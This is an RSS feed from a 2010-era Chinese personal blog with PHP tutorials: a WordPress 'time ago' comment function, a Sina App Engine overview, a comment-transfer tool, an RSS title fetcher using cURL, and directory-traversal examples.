<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>邪罗刹的菠萝阁 &#187; php</title>
	<atom:link href="http://www.rainmoe.com/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.rainmoe.com</link>
	<description>One code, one world ...</description>
	<lastBuildDate>Thu, 29 Dec 2011 14:04:21 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>WP个性化评论时间函数更新与官方函数</title>
		<link>http://www.rainmoe.com/2010/08/06/php-operators-efficiency-reserach/</link>
		<comments>http://www.rainmoe.com/2010/08/06/php-operators-efficiency-reserach/#comments</comments>
		<pubDate>Thu, 05 Aug 2010 17:15:39 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[作品 [Work]]]></category>
		<category><![CDATA[efficiency]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1989</guid>
		<description><![CDATA[> ╮(￣▽￣)╭，话说上次函数有一点点的小杯具。Qiqiboy 表示，那函数效率灰常低，而且忘记用除法鸟。

> 小邪表示灰常蛋疼，所以进行了大量研究，恩恩，灰常大量，因为 Chrome 标签已经看不到标题鸟。



<span class="readmore"><a href="http://www.rainmoe.com/2010/08/06/php-operators-efficiency-reserach/" title="WP个性化评论时间函数更新与官方函数">阅读全文——共2880字</a></span>]]></description>
			<content:encoded><![CDATA[<p>> ╮(￣▽￣)╭，话说上次函数有一点点的小杯具。<a target='_blank' rel='nofollow' href='http://www.qiqiboy.com/'>Qiqiboy</a> 表示，那函数效率灰常低，而且忘记用除法鸟。<br />
> 小邪表示灰常蛋疼，所以进行了大量研究，恩恩，灰常大量，因为 Chrome 标签已经看不到标题鸟。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/2010/08/Cap0000755.png' /></p>
<p><span id="more-1989"></span></p>
<p><strong>一. 代码改进：</strong></p>
<p>> 先让我们一起研究一下原先的代码，貌似效率特别低，o(╯□╰)o 杯具，当时小邪滴脑袋木有转过弯来。<br />
> 居然没有想到除法取整，愣是用循环达到除法的目的，额滴神，(PД`q。)·。'゜ 冰天雪地掩面泪奔。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
foreach ($info as $val) {
	$count = 0;
	while ($inte - $val[0] &gt; 0) {
		$inte = $inte - $val[0];
		$count++;
	}
	if ($count&lt;&gt;0) { $res .= $count.$val[1]; }
}
//foreach 要执行四次，因为 $info 数组的外层数组有 4 维
//如果时间差恰好为 1 天，While 要执行最少 24 次，最多 23+59+59 次
//每次 While 的时候，$count 要自加一次，$inte 要减一次
//总的来说，时间为一天的话，大概执行了 141*4 次自加和减法
//如果时间不止一天而是一年的话，就杯具了，超多 - -
</pre>
<p>> 话说 Qiqiboy 说的以前有更好的代码，小邪好像没有找到，要么是判断超多的，要么也有不少循环。<br />
> Qiqiboy 上次说："而且你用foreach会和数组中每个数值进行比较一遍做判断，这个也可以避免"。<br />
> 唔，关于这个问题，要么除了用超多的判断来代替循环，小邪倒是木有想到其他的可用过程。<br />
> 所以这次依然使用循环来看看，感觉超多的判断开销其实也不小，还不如省一些代码的空间来着。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
foreach ($info as $val) {
	if ($inte &gt;= $val[0]) {
		$tmp = floor($inte/$val[0]);
		$res .= $tmp.$val[1];
		$inte = $inte - $tmp*$val[0];
	}
}
//虽然还是有 foreach 函数，不过这个提供了可定制性，具体下面有介绍
//Foreach 循环四次，每次循环进行一次判断、一次除法取整、一次减法乘法
//无论时间为多长，只会进行 4 次判断、除法、取整、减法、乘法，感觉应该蛮好的
</pre>
<p><strong>二. WP个性化评论时间函数 v1.01：</strong></p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
/* 小邪的个性化评论时间函数 v1.01 Start */
function evlos_funtime($gmto) {
	$set = 7*24*60*60; //在这里设定要个性化时间的秒数范围
	$gmt = strtotime($gmto);
	$inte = strtotime(gmdate('Y-m-j G:i:s')) - $gmt;
	$info = array(array(86400,'天'),array(3600,'小时'),array(60,'分钟'),array(1,'秒'));
	//你可以自由定制，可以去除 ,array(1,'秒') 这样就只会精确到分钟
	if ($inte &lt;= $set) {
		foreach ($info as $val) {
			if ($inte &gt;= $val[0]) {
				$tmp = floor($inte/$val[0]);
				$res .= $tmp.$val[1];
				$inte = $inte - $tmp*$val[0];
			}
		}
		if ($res=='') {$res='0s';}
		echo $res = '在'.$res.'之前';
	}
	else {
		echo $res = date(get_settings('date_format').' \a\t '.get_settings('time_format'),$gmt+get_settings(&quot;gmt_offset&quot;)*3600);
	}
}
/* 小邪的个性化评论时间函数 v1.01 End */
</pre>
<p><strong>三. 关于这个函数的可定制性：</strong></p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
$info = array(array(86400,'天'),array(3600,'小时'),array(60,'分钟'),array(1,'秒'));
//你可以自由定制，可以去除 ,array(1,'秒') 这样就只会精确到分钟
//可以在 array(86400,'天'), 前面增加 array(604800,'周'), 来显示单位周
//还可以增加 array(2592000,'月'), 来显示单位月

//注意，单位一定要从大到小排列，不然会杯具喔 _(￣0￣)_
</pre>
<p><strong>四. 用官方函数的超短代码：</strong></p>
<p>> Human_time_diff 函数 - <a target='_blank' rel='nofollow' href='http://codex.wordpress.org/Function_Reference/human_time_diff'>http://codex.wordpress.org/Function_Reference/human_time_diff</a></p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
&lt;?php echo human_time_diff(get_the_time('U'), current_time('timestamp')) . '之前'; ?&gt;
//日志发布时间个性化
&lt;?php echo human_time_diff(get_comment_time('U'), current_time('timestamp')) . '之前'; ?&gt;
//评论时间个性化

//注意咯，这个函数只提供 &quot;x分钟之前&quot; &quot;x小时之前&quot; &quot;x天之前&quot; 的效果，木有 &quot;x分钟x秒之前&quot;
</pre>
<p>> 把上面的这些放到需要显示个性化时间的位置即可，具体可查看上一篇文章的方法。<br />
> 地址 - <a target='_blank' rel='nofollow' href='http://www.evlos.org/2010/08/03/comments-date-style/'>http://www.evlos.org/2010/08/03/comments-date-style</a></p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/2010/08/Cap0000758.png' /></p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
&lt;?php echo human_time_diff(strtotime($comment-&gt;comment_date_gmt), strtotime(gmdate('Y-m-j G:i:s'))) . '之前'; ?&gt;
//你知道的，因为小邪VPS时间杯具事件，所以不得不绕一个大弯，o(╯□╰)o
//时间正常的童鞋请拿上面的代码，而这里的代码能在时间最杯具的时候挺住 (￣y▽￣)╭ Ohoho ..
</pre>
<p><strong>五. 奇特的 Floor 取整函数：</strong></p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
$int = 9.99; echo floor($int); // returns 9
$int = 4.55555; echo floor($int); // returns 4
$int = 1.11111; echo floor($int); // returns 1
$int = 0.99999999999999999; echo floor($int); // returns 1
$int = 0.9999999999999999; echo floor($int); // returns 0
$int = -2.44; echo floor($int); // returns -3
</pre>
<p><strong>六. 尾记：</strong></p>
<p>> o(*￣▽￣*)ゞ 嘿嘿，小邪 9 号要到韩国去旅行，大概有 5 天左右，打算要去强力围观一下棒子们。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rainmoe.com/2010/08/06/php-operators-efficiency-reserach/feed/</wfw:commentRss>
		<slash:comments>61</slash:comments>
		</item>
		<item>
		<title>Sina-App-Engine超多图详细介绍</title>
		<link>http://www.rainmoe.com/2010/02/07/sina-app-engine-introduction/</link>
		<comments>http://www.rainmoe.com/2010/02/07/sina-app-engine-introduction/#comments</comments>
		<pubDate>Sun, 07 Feb 2010 15:42:47 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[探索 [Explore]]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[sae]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1924</guid>
		<description><![CDATA[> 嘿嘿，真开心，小邪昨天 RP 爆发，拿到了 Sina App Engine 的邀请码，然后立马就注册了账号。

> 话说这东东太牛叉了，爽。那么大家就一起和小邪来看 SAE 的界面与其中各种各样的功能吧。



<span class="readmore"><a href="http://www.rainmoe.com/2010/02/07/sina-app-engine-introduction/" title="Sina-App-Engine超多图详细介绍">阅读全文——共1343字</a></span>]]></description>
			<content:encoded><![CDATA[<p>> 嘿嘿，真开心，小邪昨天 RP 爆发，拿到了 Sina App Engine 的邀请码，然后立马就注册了账号。<br />
> 话说这东东太牛叉了，爽。那么大家就一起和小邪来看 SAE 的界面与其中各种各样的功能吧。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000081.jpg' /></p>
<p>> 嘎嘎，图中，小邪灰常幸运滴抢到了几个让人喜爱的 4 位二级域名，最喜欢 Moon 的那个了。<br />
> 既然有免费强力资源，一定要充分利用，而且小邪可以随便玩且不用担心可爱的菠萝阁超载鸟。</p>
<p><span id="more-1924"></span><strong>一. SAE 13 张图详细介绍：</strong></p>
<p>01. Fetch Url：</p>
<p>> 嘿嘿，如果一定要使用 Curl 或者 File_get_contents 来获取资源的话，根据 SAE 文档说明。<br />
> 仅仅只被允许获取 Sina.com.cn 域名中网站的资源，而获取其他外部资源将会产生错误提示。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000071.jpg' /></p>
<p>02. Mail 发送：</p>
<p>> 为了防止新浪变成一个巨大的垃圾邮件商，所以这里是不允许直接使用 SMTP 函数来发的。<br />
> 嗯，这里需要注册一个自己的邮箱，随便 Gmail 163 的都可以，然后用这些邮箱来发邮件。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000072.jpg' /></p>
<p>03. Memcache：</p>
<p>> 呵呵，这个是内存缓存服务，可以加速资源的读取，大概每个人现在可以分到 11MB 的空间。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000069.jpg' /></p>
<p>04. 图片修改服务：</p>
<p>> 这个服务也是灰常不错滴，可以水平翻转或者垂直翻转图片，当然咯，等比缩放是必不可少的。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000070.jpg' /></p>
<p>05. 成员管理：</p>
<p>> 呵呵，这里呢，是可以让大家一起来管理源代码，所以只要邀请别人来参与这个列表就可以了。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000065.jpg' /></p>
<p>06. 预定义变量：</p>
<p>> 预定义变量也给咱们弄得灰常清楚，嘻嘻，顺便说一下呐，$sae_ 开头的变量尽量别去用喔。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000066.jpg' /></p>
<p>07. Mysql 数据库：</p>
<p>> 嘿嘿，这里可以随意地指定你的账号的权限，并且还可以使用 Phpmyadmin 来管理数据库。<br />
> 貌似谷歌的 GAE 很难备份数据文件，不知道现在有没有改观，至少 SAE 是做得很不错的。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000067.jpg' /></p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000073.jpg' /></p>
<p>08. Cron jobs 定时进程：</p>
<p>> O(∩_∩)O 哈哈，这个是一大亮点，特别爽，到时候小邪就可以弄出很多经典的程序出来。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000085.jpg' /></p>
<p>09. 资源配额：</p>
<p>> 每日的流入带宽是 500MB，流出带宽则是 1GB，小邪（¯﹃¯）口水都流出来鸟，嘻嘻嘻。<br />
> Fetch Url 居然每天都可以用上 5W 次，小邪觉得抓取特别爽，春哥保佑，╮(╯▽╰)╭ 哈。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000062.jpg' /></p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000062_.jpg' /></p>
<p>> 这里提供了灰常详细的图表，可以随时了解配额的情况，另外还提供了请求日志可以查询喔。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000063.jpg' /></p>
<p>10. Wp4sae [Wordpress SAE版]：</p>
<p>> 嘻嘻，大亮，这个是经过修改的 WordPress 程序，可以运行在 SAE 上面喔，O(∩_∩)O。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000075.jpg' /></p>
<p>> Google Code 的 Wp4sae 代码页面强力传送门 - <a target='_blank' rel='nofollow' href='http://code.google.com/p/wp4sae'>http://code.google.com/p/wp4sae</a></p>
<p>11. 小邪的 SAE App（建设中）：</p>
<p>> [AppName] 邪罗刹的Wall -- [AppUrl 坚挺的传送门] <a target='_blank' rel='nofollow' href='http://wall.sinaapp.com'>http://wall.sinaapp.com</a><br />
> [AppName] 邪罗刹的Feel -- [AppUrl 色色的传送门] <a target='_blank' rel='nofollow' href='http://feel.sinaapp.com'>http://feel.sinaapp.com</a><br />
> [AppName] 邪罗刹的Moon -- [AppUrl 弱弱的传送门] <a target='_blank' rel='nofollow' href='http://moon.sinaapp.com'>http://moon.sinaapp.com</a><br />
> [AppName] 邪罗刹的Soul -- [AppUrl 低调的传送门] <a target='_blank' rel='nofollow' href='http://soul.sinaapp.com'>http://soul.sinaapp.com</a><br />
> [AppName] 邪罗刹的SAE -- [AppUrl 猥琐的传送门] <a target='_blank' rel='nofollow' href='http://evlos.sinaapp.com'>http://evlos.sinaapp.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.rainmoe.com/2010/02/07/sina-app-engine-introduction/feed/</wfw:commentRss>
		<slash:comments>82</slash:comments>
		</item>
		<item>
		<title>WP文章与页面评论批量转移程序</title>
		<link>http://www.rainmoe.com/2010/02/05/wp-comments-bulk-transferrer/</link>
		<comments>http://www.rainmoe.com/2010/02/05/wp-comments-bulk-transferrer/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 14:06:21 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[作品 [Work]]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1918</guid>
		<description><![CDATA[> 小邪打算转移原先的淫荡传送门地址，即从页面转换为文章，因为这样就不必每次都 Exclude。

> 但是小邪又不舍得放弃原先页面下面的评论，所以小邪就写了一个小小的 PHP 程序来转移咯。



<span class="readmore"><a href="http://www.rainmoe.com/2010/02/05/wp-comments-bulk-transferrer/" title="WP文章与页面评论批量转移程序">阅读全文——共1148字</a></span>]]></description>
			<content:encoded><![CDATA[<p>> 小邪打算转移原先的淫荡传送门地址，即从页面转换为文章，因为这样就不必每次都 Exclude。<br />
> 但是小邪又不舍得放弃原先页面下面的评论，所以小邪就写了一个小小的 PHP 程序来转移咯。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000050.jpg' /></p>
<p>> 文章与评论之间的联系，只是依靠数据库中的 Wp_comments 表内的文章 ID 字段来确定的。<br />
> 即名称为 comment_post_ID 的字段，所以我们如果要转移某批评论，只要修改此字段即可喔。</p>
<p><span id="more-1918"></span><strong>一. 使用方法：</strong></p>
<p>> 呵呵，因为小邪原先都是把不和谐的传送门地址保存为单独的页面的，但是后来发现不能分页。<br />
> 而且为了不让这些页面显示到导航栏中去，小邪的这些页面都不得不使用 Exclude 参数来隐藏。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
&lt;?php wp_list_pages('exclude=1906,1915&amp;title_li='); ?&gt;
</pre>
<p>> 但是这样子数量一多起来，就麻烦啦，所以小邪就打算把它们转变成为单独的文章，放在最前。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000058.jpg' /></p>
<p>> 使用方法很简单的喔，首先按照下面源代码处的说明，修改好必要的参数，然后运行这个程序。<br />
> 运行的时候会提示你输入你要转移的文章 ID，和要转移到的文章 ID，然后点击提交开始读取。</p>
<p>> 至于获得文章 ID 的方法也很简单，在编辑文章的界面下，找到地址栏中的 post 参数值即可。<br />
> 接着看看读取出来的评论是否正确，如果正确的话，就点击菜单栏中的 “开始” 按键开始转移。</p>
<p><strong>三. 源代码：</strong></p>
<p>> 源代码需要修改的地方就是这个位置咯。请把你的数据库用户名与密码，还有库名填入即可。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
$info['db_host'] = 'localhost';
$info['db_user'] = 'root';
$info['db_psw'] = '890';
$info['db_dba'] = 'test';
</pre>
<p>> <strong>Update at 2010.02.06 12:12</strong> -<br />
> 之前下载的盆友请勿运行程序，小邪不小心造成了一个致命 BUG，现已修复，请重新下载。<br />
> 小邪犯傻使用了 Replace 来处理转移的函数，太杯具了，弄得全站大乱，现在已经纠正鸟。</p>
<p>> 源码- <a target='_blank' rel='nofollow' href='http://code.google.com/p/evlosbox/downloads/detail?name=wpcmtmover.txt&#038;can=2&#038;q='>http://code.google.com/p/evlosbox/downloads/detail?name=wpcmtmover.txt&#038;can=2&#038;q=</a></p>
<p><strong>四. 菠萝阁奇趣发现：</strong></p>
<p>> 突然有点儿悲哀，一切的事物都有到终点的时候，英雄迟暮，希望微软能够挺过这一劫哇。<br />
> 原文在《译言》站点的传送门 - <a target='_blank' rel='nofollow' href='http://article.yeeyan.org/view/103627/76891'>http://article.yeeyan.org/view/103627/76891</a></p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000060.jpg' /></p>
<p>> ╮(╯o╰)╭，还有个视频喔，在推上面看到的，有兴趣的盆友传送 - <a target='_blank' rel='nofollow' href='http://u.evlos.org/gs'>http://u.evlos.org/gs</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.rainmoe.com/2010/02/05/wp-comments-bulk-transferrer/feed/</wfw:commentRss>
		<slash:comments>50</slash:comments>
		</item>
		<item>
		<title>获取某网站最新的一条RSS数据</title>
		<link>http://www.rainmoe.com/2010/01/24/get-the-newest-rss-title/</link>
		<comments>http://www.rainmoe.com/2010/01/24/get-the-newest-rss-title/#comments</comments>
		<pubDate>Sun, 24 Jan 2010 06:18:26 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[作品 [Work]]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[rss]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1888</guid>
		<description><![CDATA[> O(∩_∩)O，小邪突然想写一个可以获取某个指定网站的最新的一条 RSS 内容与链接的程序。

> 这个程序自带缓存功能，RSS 地址的缓存时间是 15 天，RSS 内容的缓存时间是 2 小时。



<span class="readmore"><a href="http://www.rainmoe.com/2010/01/24/get-the-newest-rss-title/" title="获取某网站最新的一条RSS数据">阅读全文——共684字</a></span>]]></description>
			<content:encoded><![CDATA[<p>> O(∩_∩)O，小邪突然想写一个可以获取某个指定网站的最新的一条 RSS 内容与链接的程序。<br />
> 这个程序自带缓存功能，RSS 地址的缓存时间是 15 天，RSS 内容的缓存时间是 2 小时。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap0000006.jpg' /></p>
<p>> Xml 函数实在弄得小邪有些头大，一时半会儿没有空去花时间看看文档，所以就正则咯。<br />
> 其实这个程序是当初答应 <a target='_blank' rel='nofollow' href='http://www.chinablogs.org/'>菠萝</a> 要写的，现在刚刚好小邪的 PHP 有些入门了，就去搞定它咯。</p>
<p><span id="more-1888"></span><strong>一. 程序使用介绍：</strong></p>
<p>> 使用下面的代码调用即可，因为小邪输出的是 JavaScript 代码，调用很是方便呢，嘻嘻。<br />
> Url 参数直接填域名就好，别加 http 什么的了，也别加斜杠了，小邪把程序精简一点儿。<br />
> 所以直接加了个只允许 “A-Z a-z 0-9 - _ .” 这些字符出现在 Url 里面，应该不会很麻烦。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
&lt;script src=&quot;do.php?url=wange.im&quot; /&gt;
</pre>
<p>> 然后程序会输出这个样子的一段代码，带链接与标题文字，并且从新窗口打开，呵呵。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
document.write(&quot;&lt;a target='_blank'
href='http://wange.im/winters-past-present-and-future.html'&gt;
寒假的过去、现在和未来&lt;/a&gt;&quot;);
</pre>
<p><strong>二. 源代码：</strong></p>
<p>> 把源代码保存成 Do.php 然后放到任意目录即可，嘎嘎，O(∩_∩)O 祝你玩得愉快喔。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
&lt;?php
$rssurl_save_time = '1296000';
$rsscont_save_time = '7200';
//Evlos.org application
if (!is_dir('cache')) { mkdir('cache'); }
function app_js_out($url,$cont) {
	return 'document.write(&quot;'.&quot;&lt;a target='_blank' href='&quot;.$url.&quot;'&gt;&quot;.$cont.'&lt;/a&gt;&quot;);';
}
function app_html_get($url) {
	$curl = curl_init($url);
	$useragent=&quot;Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1)
Gecko/20061204 Firefox/2.0.0.1&quot;;
	curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
	curl_setopt ($curl,CURLOPT_USERAGENT,$useragent);
	$ret = curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
	$data = curl_exec($curl);
	curl_close($curl);
	return $data;
}
function app_get_rssurl($url) {
	$data = app_html_get($url);
	preg_match('/application\/rss\+xml\&quot; title=\&quot;[^\&quot;]+\&quot; href=\&quot;(.*)\&quot;/',$data,$s);
	if (preg_match('/^http.+/',$s[1])) {
		return $s[1];
	}
	else {
		return 'http://'.$url.$s[1];
	}
}
function app_websiteinfo($url) {
	$u = str_replace('.','_',$url);
	$file = './cache/rssurl_-_'.$u.'.txt';
	if (file_exists($file)||(time()-filemtime($file))&lt;$rssurl_save_time) {
		$cont = file_get_contents($file);
		return $cont;
	}
	else {
		$rssurl = app_get_rssurl($url);
		$handle = fopen($file,'w+');
		fwrite($handle,$rssurl);
		fclose($handle);
		return $rssurl;
	}
}
function app_get_rssread($url) {
	$data = app_html_get($url);
	preg_match_all('/&lt;title&gt;([^&lt;]+)&lt;\/title&gt;/',$data,$s);
	$rss['title'] = $s[1][1];
	preg_match_all('/&lt;link&gt;([^&lt;]+)&lt;\/link&gt;/',$data,$c);
	$rss['link'] = $c[1][1];
	return $rss;
}
function app_rss_getnew($url,$host) {
	$u = str_replace('.','_',$host);
	$file = './cache/rssnew_-_'.$u.'.txt';
	if (file_exists($file)||(time()-filemtime($file))&lt;$rsscont_save_time) {
		$cont = file_get_contents($file);
		$rsso = explode(&quot;||&quot;,$cont);
		$rssc['title'] = $rsso[0];
		$rssc['link'] = $rsso[1];
		return $rssc;
	}
	else {
		$rssc = app_get_rssread($url);
		$handle = fopen($file,'w+');
		fwrite($handle,$rssc['title'].'||'.$rssc['link']);
		fclose($handle);
		return $rssc;
	}
}
if (isset($_GET['url'])) {
	$url = $_GET['url'];
	if (!preg_match('/^[a-zA-z0-9_\.-]+$/',$url)) {
		echo app_js_out('','Error');
	}
	else {
		$feedurl = app_websiteinfo($url);
		$rssc = app_rss_getnew($feedurl,$url);
		echo app_js_out($rssc['link'],$rssc['title']);
	}
}
else {
	echo app_js_out('','Error');
}
//Evlos.org application
?&gt;
</pre>
<p><strong>三. 附言：</strong></p>
<p>> 有朋友用过 HTC Hero 吗？有啥感想没有，小邪觉得 5310xm 太杯具鸟，所以打算换一换。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Cap000000c.jpg' /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.rainmoe.com/2010/01/24/get-the-newest-rss-title/feed/</wfw:commentRss>
		<slash:comments>131</slash:comments>
		</item>
		<item>
		<title>如何使用PHP遍历文件夹与子目录</title>
		<link>http://www.rainmoe.com/2010/01/16/scan-a-folder-in-php/</link>
		<comments>http://www.rainmoe.com/2010/01/16/scan-a-folder-in-php/#comments</comments>
		<pubDate>Sat, 16 Jan 2010 04:25:55 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[代码 [Code]]]></category>
		<category><![CDATA[dir]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1899</guid>
		<description><![CDATA[> 呵呵，小邪最近对操作文件比较感兴趣的说，所以咱们来把文件夹给遍历了，顺便生成个树。

> 我们要使用的函数有 Scandir，它的作用是列出指定路径中的文件和目录，就像 Dir 一样。



<span class="readmore"><a href="http://www.rainmoe.com/2010/01/16/scan-a-folder-in-php/" title="如何使用PHP遍历文件夹与子目录">阅读全文——共2265字</a></span>]]></description>
			<content:encoded><![CDATA[<p>> 呵呵，小邪最近对操作文件比较感兴趣的说，所以咱们来把文件夹给遍历了，顺便生成个树。<br />
> 我们要使用的函数有 Scandir，它的作用是列出指定路径中的文件和目录，就像 Dir 一样。</p>
<p><img src='http://www.rainmoe.com/wp-content/uploads/old/Capture1150.jpg' /></p>
<p>> 与更强力的 Glob() 函数，作用是以数组的形式返回与指定模式相匹配的文件名或目录。<br />
> 友情提醒，千万别像小邪那样在电脑前面呆太长时间，否则就会像小邪一样得见鬼的高血糖。</p>
<p><span id="more-1899"></span><strong>一. 遍历单层文件夹：</strong></p>
<p>> 在扫描单层文件夹的问题是，两个函数的结果虽有不同，不过表现是相差不大的。<br />
> Scandir 函数会提供额外两行，分别是 “.” 和 “..” ，而 Glob 则是没有的。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
function get_dir_scandir(){
	$tree = array();
	foreach(scandir('./') as $single){
		echo $single.&quot;&lt;br/&gt;\r\n&quot;;
	}
}
get_dir_scandir();
</pre>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
function get_dir_glob(){
	$tree = array();
	foreach(glob('./*') as $single){
		echo $single.&quot;&lt;br/&gt;\r\n&quot;;
	}
}
get_dir_glob();
</pre>
<p><strong>二. 递归遍历文件树：</strong></p>
<p>> 在递归扫描文件夹树的问题上，还是 Glob 函数的表现好一点，很准确的说。<br />
> Scandir 函数会莫名其妙扫描两次 ../ 处的文件，也就是说如果小邪有俩文件。<br />
> ../b.php 和 ../a.php，结果就会在扫描报告上面出现两次，很是奇怪。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
//Update at 2010.07.25 - 以下代码作废
$path = '..';
function get_filetree_scandir($path){
	$tree = array();
	foreach(scandir($path) as $single){
		if(is_dir('../'.$single)){
			$tree = array_merge($tree,get_filetree($single));
		}
		else{
			$tree[] = '../'.$single;
		}
	}
	return $tree;
}
print_r(get_filetree_scandir($path));
</pre>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
//Update at 2010.07.25 - 以下为新代码
$path = './';
function get_filetree_scandir($path){
	$result = array();
	$temp = array();
	if (!is_dir($path)||!is_readable($path)) return null; //检测目录有效性
	$allfiles = scandir($path); //获取目录下所有文件与文件夹
	foreach ($allfiles as $filename) { //遍历一遍目录下的文件与文件夹
		if (in_array($filename,array('.','..'))) continue; //无视 . 与 ..
		$fullname = $path.'/'.$filename; //得到完整文件路径
		if (is_dir($fullname)) { //是目录的话继续递归
			$result[$filename] = get_filetree_scandir($fullname); //递归开始
		}
		else {
			$temp[] = $filename; //如果是文件，就存入数组
		}
	}
	foreach ($temp as $tmp) { //把临时数组的内容存入保存结果的数组
		$result[] = $tmp; //这样可以让文件夹排前面，文件在后面
	}
	return $result;
}
print_r(get_filetree_scandir($path));
</pre>
<p>> Glob 函数扫描灰常准确，并且会自动按照字母排好顺序，貌似是最佳方案。</p>
<pre class="brush: php; auto-links: false; html-script: false; title: ; notranslate">
$path = '..';
function get_filetree($path){
	$tree = array();
	foreach(glob($path.'/*') as $single){
		if(is_dir($single)){
			$tree = array_merge($tree,get_filetree($single));
		}
		else{
			$tree[] = $single;
		}
	}
	return $tree;
}
print_r(get_filetree($path));
</pre>
<p><strong>三. 附言：</strong></p>
<p>> 嘻嘻，小邪这里开始不和谐了，欢迎来墙。今天服务器很是不稳定呐，不知道怎么回事。<br />
> 据戈戈说貌似是线路不稳定，难道 G.fw 又开始乱搞了？！小邪是翻墙才写好文章的。</p>
<p>> 额，小邪今天去了下医院，无语，血糖指数竟然到正常人的三倍鸟，貌似快挂鸟，阿门。<br />
> 所以上午去了做饭前检查，下午又去做了饭后检查，结果昨天就没来得及写一下文章。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.rainmoe.com/2010/01/16/scan-a-folder-in-php/feed/</wfw:commentRss>
		<slash:comments>67</slash:comments>
		</item>
		<item>
		<title>Photobucket抓取图片下载程序</title>
		<link>http://www.rainmoe.com/2010/01/14/photobucket-downloader/</link>
		<comments>http://www.rainmoe.com/2010/01/14/photobucket-downloader/#comments</comments>
		<pubDate>Thu, 14 Jan 2010 15:38:52 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[作品 [Work]]]></category>
		<category><![CDATA[curl]]></category>
		<category><![CDATA[images]]></category>
		<category><![CDATA[photobucket]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1898</guid>
		<description><![CDATA[> 最近小邪抓取抓上瘾鸟，感觉 Curl 与 正则式 的组合很爽，╮(╯▽╰)╭，拦都拦不住自己呐。

> 所以今天小邪要送大家一个 Photobucket 抓取程序，可以很方便地抓取整个相册喔。



